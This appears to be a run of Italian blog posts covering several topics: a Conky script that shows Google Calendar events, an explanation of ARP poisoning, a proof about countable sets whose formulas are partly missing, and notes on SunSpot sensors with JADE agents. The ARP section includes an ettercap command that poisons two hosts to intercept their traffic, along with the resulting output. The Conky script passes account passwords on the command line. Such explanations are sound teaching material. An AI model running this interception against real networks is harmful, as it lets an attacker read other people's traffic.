Grazie ad una wave con Ely ho scoperto Conky. Un monitor di sistema per linux il quale, configurato opportunamente, si sovrappone allo sfondo del desktop mostrando informazioni relative CPU, memoria, spazio disco, temperature, traffico di rete e molto altro.
Mi sono appassionato alla configurazione di questo tool e nelle varie peripezie affrontate sono riuscito a portare in conky gli eventi creati con Google Calendar in maniera efficiente. Riportero’ di seguito la procedura che ho effettuato ed uno script creato di getto.

Il primo passo è consistito nel trovare un modo per ottenere i dati di Google Calendar da linea di comando, per questo è stato d’aiuto il programma gcalcli che pur risentendo di qualche difetto si è comunque prestato all’impresa. L’ho quindi scaricato e copiato nel path di sistema:

wget http://gcalcli.googlecode.com/files/gcalcli-1.4.tgz
tar -xvf gcalcli-1.4.tgz
sudo mv gcalcli /bin

Conky può essere configurato per mostare l’output di alcuni comandi di sistema. Specificando i comandi direttamente nel file di configurazione si otterra che ogni volta che conky aggiorna il suo stato (lasso di tempo dell’ordine del secondo) tali programmi saranno riavviati. Interrogare la rete ogni secondo non era nelle mie intenzioni ho quindi creato uno script per lanciare conky costruendo il file di configurazione in modo dinamico:

#!/bin/bash
cd; # get home directory
today=`date +"%m/%d/%Y"` # current date
nextmonth=`date --date "now 30 days" +"%m/%d/%Y"` # current date + 30 days
# get the conky configuration code for the calendar
echo -e "\${font Purisa}\${color red}Google Calendar \${hr}\$color\$font \n\${font Purisa:size=10}`gcalcli --nc --user $1 --pw $2 agenda $today $nextmonth | sed '/^$/d'` \$font \n\${color red}\${hr}\$color" > caltemp
# build a conky configuration file
cp .conkyrc_base .conkyrc
cat caltemp >> .conkyrc
rm caltemp
# launch conky
sleep 10
conky &
exit

La variabile today conterrà la data corrente mentre nextmonth è la data corrente più trenta giorni, avremo quindi sul desktop gli eventi in agenta dal giorno in corso fino al mese successivo. In base ai valori di tali date viene lanciato gcalcli ed il risultato viene innestato in codice di configurazione conky per il quale si rimanda all’apposita documentazione. Il codice generato viene copiato in coda ad un file con la configurazione di base. Facendo partire conky con questo script Google Calendar sarà interrrogato una sola volta durante il suo ciclo di vita.

Per far partire conky all’avvio è necessario copiare il file con la configurazione di base, scaricabile da qui, nella propia home e posizionare lo script appena visto al path (di norma /bin). Poi bisogna aggiungere lo script alla lista dei programmi di avvio di gnome andando in System -> Preferences -> Startup Applications clickando su Add, compariranno le finestre mostrate in figura, e nel campo Command immettere conky_gcal , naturalmente le credenziali devono essere quelle dell’account Google dove si ha il calendario da monitorare.
Chi non volesse modificare il proprio file di configurazione conky può semplicemente usarlo come file di configurazione di base posizionandosi nella propria home e rinominandolo come segue:

mv .conkyrc .conkyrc_base

In questo modo gli eventi Google Calendar saranno mostrati sotti i dati solitamente monitorati.

Anche se ogni macchinadi internet ha uno o più indizizzi IP, questi non possono essere usati per inviare pacchetti perchè l’hardware che opera a livello datalink non è a conoscenza degli indirizzi IP.
Ogni scheda Ethernet ha associato un indirizzo a 48 bit chiamato MAC address. Le schede comunicano tra loro utilizzando tale indirizzo.
L’associazione tra IP e MAC Address avviene al momento della comunicazione tra glio host. Quando l’host A ha bisogno di inviare un pacchetto all’host B controlla se l’IP di B è nella sua stessa sottorete e se è cosi’ invia un messaggio in broadcast a tutta la sottorete per chiedere il MAC di B. A tale richiesta risponderà solo B. Il protocollo per effettuare tale comunicazioni è chiamato ARP.
Per utilizzare ARP in modo efficiente vengono attuate delle ottimizzazioni. Una volta ottenuto l’indirizzo di un host esso viene salvato in una cache, in questo modo non sarà effettuata nessuna richiesta ARP alla comunicazione con tale host.Ogni macchina invia in Broadcast la propria associazoine una volta collegata alla rete, in questo modo ogni host avrà in cache l’indirizzo della macchina appena collegata.
Purtroppo le associazioni non sono valide per sempre, ciò comporta che i valori nelle chache scadono e nuove domande ARP dovranno essere effettuate.

Il protocollo ARP non è progettato per ambienti ostili e manca di un meccaniscmo di autenticazione. Tale mancanza consente di effettare un’attacco chiamato ARP Poisoning, con il quale è possibile intercettare pacchetti destinati ad altri host.
Si immagini una reto con due host, uno in possesso dell’attaccante ed l’altro in possosesso della vittima, ed un nodo che funge da gateway. L’attaccante può inviare alla vittima una ARP reply fabbricata con l’associazione (IP.Gateway, Mac:Attaccante) ed un’altra al gateway con l’associazione (IP.Vittima, Mac:Attaccante). Dopo aver ricevuto tali pacchetti la vittima ed il gateway aggiorneranno le proprie cache con gli indirizzi forniti dall’attaccante che riceverà sia i pacchetti inviati che quelli ricevuti dalla vittima. Inoltre per non farsi scoprire potrà reinoltrare i pacchetti senza bloccare la comunicazzione.

Il tipo di attacco descritto è implementato nel software ettercap. Vediamo come intercettare il traffico tra l’host 192.168.1.10 e l’host 192.168.1.254 con questo programma:


# ettercap -T -M ARP /192.168.1.10/ /192.168.1.254/
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on eth0... (Ethernet)
eth0 -> MALLORY:MAC:ADDR 192.168.1.100 255.255.255.0
...
Scanning for merged targets (2 hosts)...
* |==================================================>| 100.00 %
2 hosts added to the hosts list...
ARP poisoning victims:
GROUP 1 : 192.168.1.10 VICTIM:MAC:ADDR
GROUP 2 : 192.168.1.254 GATEWAY:MAC:ADDR
Starting Unified sniffing...


Con l’opzione -T si dice al programma di usare la console come interfaccia con l’utente e con -M si indica di reinoltrare i pacchetti intercettati.
Utilizzando Whireshark durante l’operazione di ARP poisoning possiamo osservare il seguente traffico ARP:


Source Destination Type Description
RealtekS Broadcast ARP Who has 192.168.1.10? Tell 192.168.1.100
RealtekS Broadcast ARP Who has 192.168.1.254? Tell 192.168.1.100
BillionE RealtekS ARP 192.168.1.254 is at GATEWAY:MAC:ADDR
Nokia_80 RealtekS ARP 192.168.1.10 is at VICTIM:MAC:ADDR
RealtekS Nokia_80 ARP 192.168.1.254 is at MALLORY:MAC:ADDR
RealtekS BillionE ARP 192.168.1.10 is at MALLORY:MAC:ADDR


Si dice che un insieme infinito è contabile, o numerabile, se esiste una corrispondenza biunivoca tra esso e l’insieme di tutti i numeri naturali.

Lemma di Cantor
Sia f₀,f₁,f₂,… una successione contabile di funzioni tale che ogni f_i applica i numeri naturali in {0,1}. Esiste una funzione f che applica i numeri naturali in {0 1} ma non è uguale ad alcuna delle f_i.
Dimostrazione. Definendo f(i) come 1 -f_i allora f(i) sarà sicuramente diverso da f_i(i), dunque f è diversa da f_i per ogni i.

Dal lemma di Cantor segue che l’insieme di tutte le funzioni dai numeri naturali a {0,1} non è contabile.

Consideriamo adesso l’insieme S di tutte le successioni finitamente non nulle di 0 ed 1. Tale insieme è contabile e possiamo mostrarlo consideranto s₀s₁s₂… una successione di 0 ed 1 e definendo una funzione che prende in input quella sccuessione:

dove N è un numero coì garande che s_n=0 per ogni n>=N. f è una corrspondenza biunivoca tra S e i numeri naturali. Per esserne sicuri basta osservare che per ogni j, s₀=0 solo se il più grande intero tra le somme di s_i2ⁱ diviso per 2^j è pari.

Ogni sottoinsieme infinito di un insieme contabile è a sua volta contabile. Infatti, sia sia X un sottoinsieme di N={0,1,2,3,…}. Definiamo una funzione f che va da N ad X nel seguente modo:

• f(0) = min(X)
• f(n+1) è il più piccolo elemento di X maggiore di f(n)

f è invertibile e rappresenta una corrispondenza biunivoca tra N ed X. La sua inversa è una corrispondenza tra X ed N che dimostra la contabilità di X.

Possiamo dire anche che l’insieme F di tutte le successioni finite di numeri naturali è contabile. Sia n* una successione di n+1 uno. Per ogni successione di numeri naturali n₀n₁n₂… sia:

f è quinid una corrispondenza tra F e l’insieme S visto in precedenza. Ciò mostra che F è contabile.

Un agente è un sistema situato in un certo ambiente, capace di azioni autonome sull’ambiente per raggiungere determinati obbiettivi [Wooldridge and Jennings 1995]. Gli agenti sono un importante strumento nato nell’ambito dell’intelligenza artificiale dai quali è nato un nuovo paradigma di programmazione, naturale evoluzione di altri paradigmi di programmazione, in particolare della programmazione ad oggetti.
L’idea di programmare dei sensori utilizzando il paradigma ad agenti è molto affascinante. I miei recenti esperimenti mi hanno portato alla realizzazione di un sistema multiagente che coinvolge nella proprie decisioni dati rilevati da sensori.

I sensori utilizzati sono i famosi SunSpot, prodotti dalla Sun Microsystem. La confezione inviata dalla sun contiene due sensori sun spot e una basestation. La basestation è un particolare tipo sunspot privato della SensorBoard attraverso la quale è possibile interfacciare un host, tramite collegamento usb, alla rete di sensori. Punto di forza di questi dispositi è il fatto di essere programmabili in linnguaggio Java.

L’ installazione è stata effettuata dal sito ufficiale dei SunSpot attraverso una java web start application la quale tenta di installare una jvm, ant, netbeans 6.1 con dei moduli aggiuntivi, SunSpot sdk e lo SPOT Manager. Sotto windows ci sono stati problemi sull’emulazione delle comunicazioni radio utilizzando versioni della jvm più recenti a quella suggerita dall’installer mentre sotto linux le cose sono sembrate più tranquille. Lo SPOT Manager fornisce un’interfaccia per la gestione degli SPOT collegati e l’esecuzione dell’emulatore. Quest’ultima è risultata particolarmente instabile ed ho preferito interagire con i vari Spot attraverso riga di comando.

L’ambiente di programmazione ad agenti è stato JADE (Java Agent DEvelopment Framework). Esso è un farmework completamente scritto in Java per l’implementazione di sistemi multiagente validi rispetto alle specifiche FIPA. JADE è software Open Source ed è stato prodotto da Telecom Italia Lab, branca di Telecom Italia Group responsabile all’innovazione tecnologica.

L’Integrazione tra le due piattaforme è avvenuta scrivendo un’applicazione per la basestation ed una per i sensori. Sulla basestation viene lanciata un’istanza di Jade e per ogni sensore a distanza di rilevamento viene inizializzato un agente nel framework, oltre ad una serie di agenti d’ausilio. Gli agenti software comunicano effettuano all’occorrenza delle richieste di rilevamento dati ai sensori che rispondono in modo opportuno attraverso l’applicazione scritta.